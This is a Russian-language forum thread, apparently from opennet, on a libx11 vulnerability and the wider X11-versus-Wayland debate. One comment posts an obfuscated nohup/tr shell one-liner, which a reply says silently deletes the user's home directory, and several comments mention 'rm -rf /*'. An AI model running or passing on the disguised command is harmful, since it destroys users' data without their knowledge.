|
2.7, Аноним (7), 11:06, 16/06/2023 [^] [^^] [^^^] [ответить]
| –2 +/– |
Нам повезло: мы застали иксы и все его ужасы. Следующее поколение не будет ценить wayland так, как ценим его мы. Для них безопасность и надежность wayland будет чем-то само собой разумеющимся.
| |
|
3.18, Аноним (18), 12:39, 16/06/2023 [^] [^^] [^^^] [ответить]
| –4 +/– |
>безопасТность и надежДность wayland будет
после его переписывания на Rust.
| |
3.23, v3625 (ok), 13:30, 16/06/2023 [^] [^^] [^^^] [ответить]
| +11 +/– |
Какие такие ужасы? Использовал иксы в начале нулевых, когда ими пользовались именно по-иксовому (X-ресурсы, вот эти вот иксовые растровые шрифты, оконные менеджеры fluxbox, icewm, fvwm в разное время). Использовал и вот эту сетевую прозрачность, которая "никому не нужна": запускал программы с домашней машины в других локациях (на работе например). При прочих равных предпочитал программы, использующие тулкиты Xaw, Motif, Tk.
Вспоминаю это время с большой теплотой. Потом, где-то во время массового распространения gtk2, ушел на macos на рабочих станциях, продолжив пользоваться линуксом только на серверах. Так как, с одной стороны, лучше использовать первоисточник, чем условный гном, который это убого косплеит, с другой - чего греха таить, поддался моде быть тупым и манерным.
Сейчас очень хочется вернуться (может, не вернуться, а заглянуть) обратно, посмотреть, можно ли там жить. Взглянуть на проблему рендеринга векторных шрифтов, о которой все говорят. Подумать на досуге, возможно ли ее более правильно положить на архитектуру иксов (на клиенте их рендерить, скорее всего, практически невозможно, так как слишком много тонкостей: все эти хинтинги, кернинги, сглаживания, а в передаче битмапов особого зла и нет). А также задаться вопросом о целесообразности и реальной необходимости везде использовать векторные шрифты: если на экране все равно пиксели, не лишние ли во многих случаях все эти действия по растеризации).
И, кстати, заметил еще давно, что когда в линуксе шрифты стали преимущественно векторными, от стал страшнее. Особенно первое время, когда нормальные алгоритмы их рендеринга были запатентованы микрософтом или еще кем-то.
| |
|
4.31, Аноним (18), 14:05, 16/06/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
>иксы в начале нулевых, когда ими пользовались именно по-иксовому
В начале нулевых уже не совсем по-иксовому. Тогда уже вовсю GTK, Qt, которые гоняли уже отрендеренные картинки.
| |
|
5.35, v3625 (ok), 14:19, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Тогда уже вовсю GTK, Qt, которые гоняли уже отрендеренные картинки.
Тогда еще спокойно можно было не обращать на это внимание.
И gtk1 был ничего.
| |
|
4.34, Аноним (-), 14:18, 16/06/2023 [^] [^^] [^^^] [ответить] | +3 +/– | Какие ужасы Давайте расскажу 1 Переусложненный антикварный код, грубо не соо... большой текст свёрнут, показать | |
|
5.37, v3625 (ok), 15:05, 16/06/2023 [^] [^^] [^^^] [ответить] | +2 +/– | Нет у современных пользователей никаких запросов Им как в уши надуют, такие у н... большой текст свёрнут, показать | |
|
6.60, Аноним (60), 00:55, 18/06/2023 [^] [^^] [^^^] [ответить] | +/– | Мир не стоит на месте, вон то уже нормально работает в других системах Пользова... большой текст свёрнут, показать | |
|
7.64, v3625 (ok), 02:46, 18/06/2023 [^] [^^] [^^^] [ответить] | +/– | Позвольте системно разобрать ваши возражения, выделив из вашего потока сознания ... большой текст свёрнут, показать | |
|
8.67, Илья (??), 10:23, 18/06/2023 [^] [^^] [^^^] [ответить] | –2 +/– | Я не хочу разбираться в подробностях, но вы сейчас НЕ ПОМОГАЕТЕ хоронить иксы З... текст свёрнут, показать | |
|
9.69, v3625 (ok), 11:02, 18/06/2023 [^] [^^] [^^^] [ответить] | +/– | А почему я должен помогать их хоронить Я, наоборот, попытался обосновать, почем... текст свёрнут, показать | |
|
|
|
|
5.41, Ананий (?), 16:30, 16/06/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
>Отсутствие тиринга?
Чому в FreeBSD я его не наблюдаю?
Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
Остальные баззворды как-то мешают отображению 2д? или начинаются проблемы с 8к экранами?ну как-нибудь переживу
| |
|
6.50, Аноним (50), 09:28, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
А чому я во фрибзд только тиринг и наблюдаю? У тебя железо такое как у всех?
| |
|
7.54, Ананий (?), 13:48, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
S3 Virge?
Давай показывай шо там у тебя и что правил в Xorg.conf, шоб пытаться исправить.
А тиринга я не наблюдаю уже давно, на разных ноутах и десктопах.
| |
|
8.62, Аноним (-), 01:05, 18/06/2023 [^] [^^] [^^^] [ответить] | +/– | Вообще-то для начала нормальная графика должна работать без вот этого вот В реж... текст свёрнут, показать | |
|
9.75, Ананий (?), 14:09, 19/06/2023 [^] [^^] [^^^] [ответить] | +/– | Вопрос был в работоспособности, а не в том, лень тебе ковырять конфиги и читать ... текст свёрнут, показать | |
|
|
|
6.61, Аноним (-), 01:03, 18/06/2023 [^] [^^] [^^^] [ответить] | +/– | Может потому что не работаешь с графикой, не смотришь видео, не делаешь видеозво... большой текст свёрнут, показать | |
|
7.76, Ананий (?), 14:19, 19/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
>> Чому в FreeBSD я его не наблюдаю?
> Может потому что не работаешь с графикой, не смотришь видео, не делаешь
> видеозвонки, не играешь в игры, все такое? Если фичой не пользоваться
> то и проблем с ней нет :)
2д в гимпе считается? Ютюп/smplayer сойдет за просмотр?
Игрульки редко, найтивные аля tome4,wesnoth идут на ура. Со стимом туда же Rimworld. Остальное не интересно, да и покупать ради них игровой ноут за двойной прайс - так себе идея.
блендер еще вроде как блендерит, но лично мне 3д не нужно, как и видеозвонки.
>> Наблюдал когда-то давно на невидии, решалось правкой конфига. Все.
>> Остальные баззворды как-то мешают отображению 2д?
> Вообще-то - когда все тупит, лагает, тиригнует, а при случае настолько клинит
> что даже таскменеджер для снятия задачи запаришься ждать - это плохая
> графическая система. И работать должно сильно лучше чем это.
хз, у меня такого не наблюдается
>> или начинаются проблемы с 8к экранами?ну как-нибудь переживу
> Да переживайте себе наздоровье. Хоть с пузатым 640х480 CRT в обнимку. А
> вот я этого делать не буду. И остальные - тоже. Не
> знаю как там у вас во фряхе, а для линуха я
> хочу чтобы графика у нас не сливала всем остальным системам по
> ее перфомансу, латенси, предсказуемости и отсутствию дурных технических проблем на ровном
> месте. Нормальное человеческое желание.
Ну остальные как-нибудь сами расставят приоритеты. Я тебе даже по секрету скажу, проприетарь для невидии практически или то же самое что и для линуха. Но общая проблема для невидий - прекращение со временем поддержки старых видюх в новых дриверах. Всякие ноувеау я всерьез не рассматриваю.
Поэтому самый оптимальный и безгеморойный вариант - интел. Там тоже есть шанс устареть и не соответвовать минимальным требованиям модномолодежных драйверов, но не так быстро. Вот мне крайней интересно глянуть на ириску, как она с фришечкой.
| |
|
|
5.77, voiceofreason (?), 18:05, 20/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Крепко жму вашу руку. Ровно мои впечатления от иксов. На фоне сидящих на macOS любителей сетевой прозрачности и псевдо-unix-way 70ых годов прошлого века, это прям приятно.
| |
|
4.53, Zenitur (ok), 11:42, 17/06/2023 [^] [^^] [^^^] [ответить]
| +1 +/– |
> И, кстати, заметил еще давно, что когда в линуксе шрифты стали преимущественно векторными, от стал страшнее. Особенно первое время, когда нормальные алгоритмы их рендеринга были запатентованы микрософтом или еще кем-то.
Мне поэтому нравились ранние версии Windows, что там в окнах использовались моноширинные шрифты, такие как Monotype Corsiva. Надеюсь, я не перепутал название шрифта? Позже, во всех элементах интерфейса стал использоваться TrueType, как в HTML-страничках... Хотя даже в Win9x можно было выставить любой шрифт в "Свойствах экрана" в разделе "Оформление", а то м вообще применить готовую тему рабочего стола.
Ух, а мне бы хотелось, чтобы кто-нибудь доделал патчи i-Rinat, которые добавляли VA-API в Firefox. Дело в том, что его патчи использовали libva-glx, а это значит, что работать будет в любой системе, даже самой старой. А в апстриме решили использовать libva-egl, непонятно зачем, так как EGL в "иксах" ни к селу, ни к городу, пусть даже и работает. Да ещё и требуется чоень новая Mesa либо драйвер NVIDIA.
| |
|
3.52, Oe (?), 09:52, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Надежность? Да он сначала даже не запускался. Недавно затестил еще раз - ну, оно уже запускается, и даже пофиксили желейную мышь. Раньше мышь была настолько желейной, как будто её пропихнули через тройной слой буферизации. Тиринга нету, но вместо него статтеры и дропы кадров, желейность всего интерфейса, производительность дно. Еще лет 10, и думаю допилят до уровня +-винды
| |
|
2.25, rshadow (ok), 13:48, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Жалко на опеннете нет механизма запуска опросов. Думаю результаты удивили бы немногих.
| |
2.72, Администратор (?), 13:44, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
А что работает на вашем хваленом вейланде? игры с portproton работают? запись экрана рабочего стола нормально не работает, виртуалки некоторые не работают, и много каких есчо программ не работают.
| |
|
3.74, AleksK (ok), 19:38, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Игры с портпротоном работают без проблем. Запись экрана работает отлично. Qemu работает замечательно. Все что надо работает.
| |
|
|
1.2, soarin (ok), 10:54, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –4 +/– |
Да. Выкидывать это всё надо.
Сейчас вот ставил OpenJDK Headless, а всё равно что-то с луддитными иксами тянется на сервер…
Никак от этого не нужного мусора не убежишь.
Собирал один большой проект на Rust на macOS хосте, тоже притащились…
| |
|
2.39, Аноним (39), 15:12, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Java только в том году спохватились, что основные дистрибутивы всё выкидывают.
| |
2.58, Аноним (58), 22:15, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
iPony пользуется Ябблотехникой, обожает поней.
Soarin под МакОСью, лошадиная аватарка.
Совпадение? Не думаю...
| |
|
3.65, soarin (ok), 06:18, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Нажми на мой профиль и посмотри ФИО.
Просто один аккаунт зареганный, а другой анонимный с именем от которого бывают и другие пишут.
| |
|
|
1.8, Аноним (8), 11:08, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– |
> в случае его подключения к вредоносному X-серверу или промежуточному прокси, контролируемому злоумышленником
Выявлена уязвимость. В случае если юзер пропишет в терминале sudo rm -rf /* то ..
| |
|
2.9, Аноним (7), 11:29, 16/06/2023 [^] [^^] [^^^] [ответить]
| +5 +/– |
в случае с rm -rf /* пользователь уже знает, что команда деструктивная.
в случае коннекта к серверу пользователь не знает, вредоносный это сервер или нет.
как 13-летней девочке приходится разжевывать вроде очевидные вещи.
| |
|
3.13, Анониссимус (?), 12:06, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
А с чего бы графическому серверу быть деструктивным? Это какой вообще юзкейс должен быть, что бы запускать у себя приложение, а показывать его на неком другом вредоносном сервере? Полный бред.
Пример c 'rm -rf /' тут не подходит. Это скорее похоже на уязвимость в ssh, ведь через ssh можно сделать 'rm -rf'!
| |
|
4.14, Аноним (7), 12:09, 16/06/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
Напоминаю, что диды задумывали иксы по клиент-серверной модели.
> через ssh можно сделать 'rm -rf'!
Если ssh-сервер сделает rm -rf у тебя, хотя ты этого никак не ждешь, то это уязвимость. Именно о таком случае речь в новости. Но ты поскорее побежал комментировать!
| |
|
5.47, Анониссимус (?), 01:29, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Напоминаю, что диды задумывали иксы по клиент-серверной модели.
Можно всё таки озвучить юзкейс, при котором деструктивный сервер будет представлять опасность? Зачем тебе может понадобиться запускать у себя X11-приложуху на вредоносном сервере?
| |
|
|
3.24, Аноним (24), 13:33, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
А в случае с нижеприведенным?
nohup $(echo '<-{}<&{~'|tr ' -/:-@[-'{}*' ''-{/ - -*') &>/dev/null&
| |
|
4.42, Ананий (?), 16:36, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
можно хардкорно решить вопросик, например chflags -R schg /
если уж руки так и тянутся позапускать из-под рута всякую нечисть.
| |
|
5.55, Аноним (55), 14:40, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Самое милое в приведенной выше команде — отсутствие необходимости рута. Она в фоне затирает хомяк.
Система на локалхосте — мелочь, переставить недолго. А вот люьовно собираемый архив порно, фотки со своей сиране кошкой это чувствительно. Если нет бэкапа. А очень часто его нет.
| |
|
|
|
|
1.12, Иван_Лох (?), 12:03, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
Обычно X сервер, это компьютер за которым ты сидишь. Его можно модифицировать так, так что приложения на удаленном хосте, которые ты открываешь будут падать. Это можно сделать миллионом путей, и что? X proxy это, вообще, из начала 90-х. Его кто-то еще использует?
| |
|
2.21, Unnamed Player (?), 13:18, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Эх, вьюнош…
Иногда это мультихед воркстейшн, а иногда на гриде сервак для расчетов с кучей разрабов по X11 сидящих.
| |
|
3.33, 1 (??), 14:15, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Вьюнош - скорее ты.
X-сервер запускается на РМ, и транслирует графику от X-клиентов на "мультихед воркстейшн, а иногда на гриде сервак для расчетов"
| |
|
|
1.15, Аноним (15), 12:22, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– |
> В развиваемой проектом X.Org библиотеке libx11
Зачем они её развивают?
| |
|
2.19, Аноним (18), 12:52, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Для legasy софта, который не пользуется графическими тулкитами, а все виджеты рисует сам.
| |
2.43, Анонимусс (?), 17:30, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Кажется слово "развиваемый" тут не совсем уместно. Ну или совсем не уместно))
Лучше что-то вроде "реанимирует", "замедляет стагнацию", "не дает уйти в историю".
Или что-то из новояза - "борется с отрицательным ростом"
| |
|
1.16, Аноним (16), 12:31, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +4 +/– |
Это все не правда, Иксы писали ветераны Юникс, которые все сделали правильно, в отличии от пориджей с Вейландом. Закрывайте issue.
| |
|
2.44, Анонин (?), 18:13, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Не хочу тебя расстраивать, но вяленого пишут те же самые люди что и иксы (ну, за исключением тех кто уже помер от старости).
И именно эти люди говорят что иксы устарели, что их очень сложно поддерживать и практически невозможно расширять. А не какие-то пориджы, которым что иксы, что вяреный, что вин11.
| |
|
|
2.26, rshadow (ok), 13:49, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
С одной стороны, как раз Диды и решили написать вяленого. Но с другой, повторить чет не получилось.
| |
|
|
4.63, Аноним (-), 01:06, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
> Диды оказались уже не теми, что Иксы писали.
Да почему? Кейт Пакард вполне себе тот самый. Но даже он затрахался натягивать сов на глобусы, представляете?! И пришлось диду признать очевидное...
| |
|
3.49, Илья (??), 07:57, 17/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
А чего не получилось? Окна открываются, удалённый десктоп работает.
Кто-нибудь объяснит мне, зачем держаться за иксы?
Только не общими фразами типо "сетевая прозрачность", а на практике?
| |
|
4.56, Аноним (56), 16:03, 17/06/2023 [^] [^^] [^^^] [ответить]
| –1 +/– |
для тех, кто не пользуется гномокедами или й3 – вообще ничего, вейланда буквально не существует.
| |
|
5.70, Илья (??), 11:37, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
> для тех, кто не пользуется гномокедами или й3 – вообще ничего, вейланда
> буквально не существует.
У меня уже года 2 вейленд работает без каких-либо настроек на гноме. Я не понял, зачем ты это написал
| |
|
6.73, Аноним (73), 15:04, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
> на гноме
ну, исполать. напишу повторно, что гном, кеды и свэй подходят не только лишь всем.
| |
|
|
4.57, fi (ok), 16:10, 17/06/2023 [^] [^^] [^^^] [ответить]
| +2 +/– |
За X11 не держаться, на них работают )))
X-сы еще в 80-х заложили, а в 1996 вышли X11R6 - фактичесли то чем мы сейчас пользуемся, хотя и R5 был вполне рабочий вариант.
Хорошая продуманная архитектура, в отличии...
вяленый же - попытка сделать по-проще: хотели как лучше, получилось как всегда.
До сих пор детские болезни лечат. таже "сетевая прозрачность" - да нужная фича, но сейчас большой запрос на связь с гаджитами - не получилось. И где там ICCCM??? Сколько лет ему еще расти до "взрослости"?
Да, и почему-то на железе кривой - сколько раз сталкивался, лезут артефакты, заменяешь на xorg - и все в порядке.
ну и лично для меня - окна должен оформлять wm, кнопочки у всех единообразно настроены, я вот крестик всегда выношу на левый угол
| |
|
5.71, maximnik0 (?), 13:09, 18/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
>Хорошая продуманная архитектура, в отличии...
Не совсем так.На Хабре выкладывали перевод одного из разработчиков Х-в ,имя уже не помню.Так он признался что тогда опыта проектирования графического интерфейса и ари не кто не имеел.Но проанализировав аппаратные архитектуры учитывая опыт работы с сетевыми СУБД ! решили заложить возможность расширения протокола,аппаратную независимость и сетевую прозрачность.Первые 3 версии протокола были сырыми и сменились за 2 года.Версионность протокола потом была предусмотрена - я удивился что разработчика вайланда как то преврали насчёт этого,заявив о не потдержки Х этого свойства,но в итоге сами забили на это.(версию R5 потдерживала библиотека совместимости,которую недавно выкинули....)
А так да, многое в Х сейчас смотрится дико-например свой менеджер памяти,но с другой стороны если программа вылазила за пределы выделенного ОЗУ-срабатывала защита.Атомарность протокола-учитывали что пакеты могли перейти с разным временем,чтобы не было рассинхронизации с событиями, и т.д.
| |
|
|
|
|
1.27, Аноним (-), 13:56, 16/06/2023 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
> подключения к вредоносному X-серверу
> или промежуточному прокси
Ну то-есть хрен эксплуатируешь на практике. Потому что если у кого вредоносный сервер - врядли вон то было хучшей из его проблем.
| |
|
2.32, Аноним (32), 14:08, 16/06/2023 [^] [^^] [^^^] [ответить]
| +/– |
Какой-нибудь xephyr или xnest запускаемый из npm или cargo. Легко.
| |
|
|